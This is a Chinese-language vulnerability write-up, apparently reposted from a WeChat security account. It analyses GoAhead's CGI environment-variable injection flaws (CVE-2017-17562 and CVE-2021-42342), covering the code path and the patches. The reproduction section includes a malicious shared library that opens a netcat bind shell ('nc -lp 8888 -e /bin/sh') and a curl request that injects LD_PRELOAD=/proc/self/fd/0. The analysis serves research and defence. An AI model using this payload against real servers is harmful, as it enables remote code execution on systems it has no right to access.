goahead环境变量注入漏洞

admin 2022年8月28日19:45:31评论15 views字数 4643阅读15分28秒阅读模式
goahead环境变量注入漏洞
点击蓝字
goahead环境变量注入漏洞
关注我们

一、前言
1.1 下载地址
二、CVE-2017-17562
2.1 漏洞分析
cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。
2.2 代码分析
漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:
goahead环境变量注入漏洞

代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOSTHTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。
如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdInstdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。
随后代码将cgiPathenvpstdInstdOut作为参数传入launchCgi函数中。
goahead环境变量注入漏洞
PUBLIC char *websGetCgiCommName(){    return websTempFile(NULL, "cgi");}
PUBLIC char *websTempFile(char *dir, char *prefix){ static int count = 0; char sep;
sep = '/'; if (!dir || *dir == '') {#if WINCE dir = "/Temp"; sep = '\';#elif ME_WIN_LIKE dir = getenv("TEMP"); sep = '\';#elif VXWORKS dir = ".";#else dir = "/tmp";#endif } if (!prefix) { prefix = "tmp"; } return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);}

进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
goahead环境变量注入漏洞
至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。
2.3 漏洞复现
下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)
git clone https://github.com/embedthis/goahead.gitcd goahead makecd testgcc ./cgitest.c -o cgi-bin/cgitestsudo gdb ../build/linux-x64-default/bin/goahead
编写恶意动态链接库,代码以及编译命令如下所示:
#include#include
static void main(void) __attribute__((constructor));
static void main(void) { system("nc -lp 8888 -e /bin/sh");}
// gcc --shared -fPIC poc.c -o poc.so

构造HTTP请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。
goahead环境变量注入漏洞
2.4 补丁分析
首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。goahead环境变量注入漏洞
其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-typeapplication/x-www-form-urlencodedHTTP请求时会调用。
goahead环境变量注入漏洞
三、cve-2021-42342
3.1 漏洞分析
 cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:
goahead环境变量注入漏洞
进入这个函数,当第二个参数为0return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。
goahead环境变量注入漏洞
上文在对cve-2017-17562补丁进行分析时曾经提到,s-argaddFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg0,绕过的方式也很简单令headercontent-typemultipart/form-data即可。
goahead环境变量注入漏洞
后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。
3.2 代码分析
为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。
Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下
layty师傅的文章。
goahead环境变量注入漏洞
websOpen函数会根据配置启动相应的代码模块goahead环境变量注入漏洞
其中关于cgi请求的回调函数通过
websDefineHandler函数定义。
goahead环境变量注入漏洞
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。goahead环境变量注入漏洞
websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
goahead环境变量注入漏洞
其中
websAlloc函数调用initWebs函数对Webs结构体进行初始化。
goahead环境变量注入漏洞
此时
Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
goahead环境变量注入漏洞
调用
websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
goahead环境变量注入漏洞

3.2.1 WEBS_BEGIN
WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLineparseHeaderswebsRouteRequest函数。
parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中goahead环境变量注入漏洞
parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg0,所以我们需要绕过addFormVars函数,即请求头content-typemultipart/form-data
goahead环境变量注入漏洞
websRouteRequest函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。
goahead环境变量注入漏洞
调用
websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。
goahead环境变量注入漏洞
3.2.2 WEBS_CONTENT
返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。
goahead环境变量注入漏洞
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。
initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。
processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER
processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。
processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。
goahead环境变量注入漏洞
当全部数据处理完毕后wp->eof1wp->state状态更改为WEBS_READY
返回
processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp
goahead环境变量注入漏洞
3.2.3 WEBS_READY
程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->stateWEBS_RUNNING,并调用cgiHandler函数。
goahead环境变量注入漏洞
在代码执行到漏洞位置时,
s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
goahead环境变量注入漏洞

四、参考
https://tttang.com/user/phith0nhttps://www.elttam.com/blog/goahead/#contenthttps://bestwing.me/CVE-2021-42342-Goahead.htmlhttps://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZghttps://xz.aliyun.com/t/6407?accounttraceid=17d50e3cca724b7d82f4ba4c85506a88yzpw
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

goahead环境变量注入漏洞
靶场实操,戳“阅读原文“

原文始发于微信公众号(合天网安实验室):goahead环境变量注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日19:45:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   goahead环境变量注入漏洞https://cn-sec.com/archives/1256973.html

发表评论

匿名网友 填写信息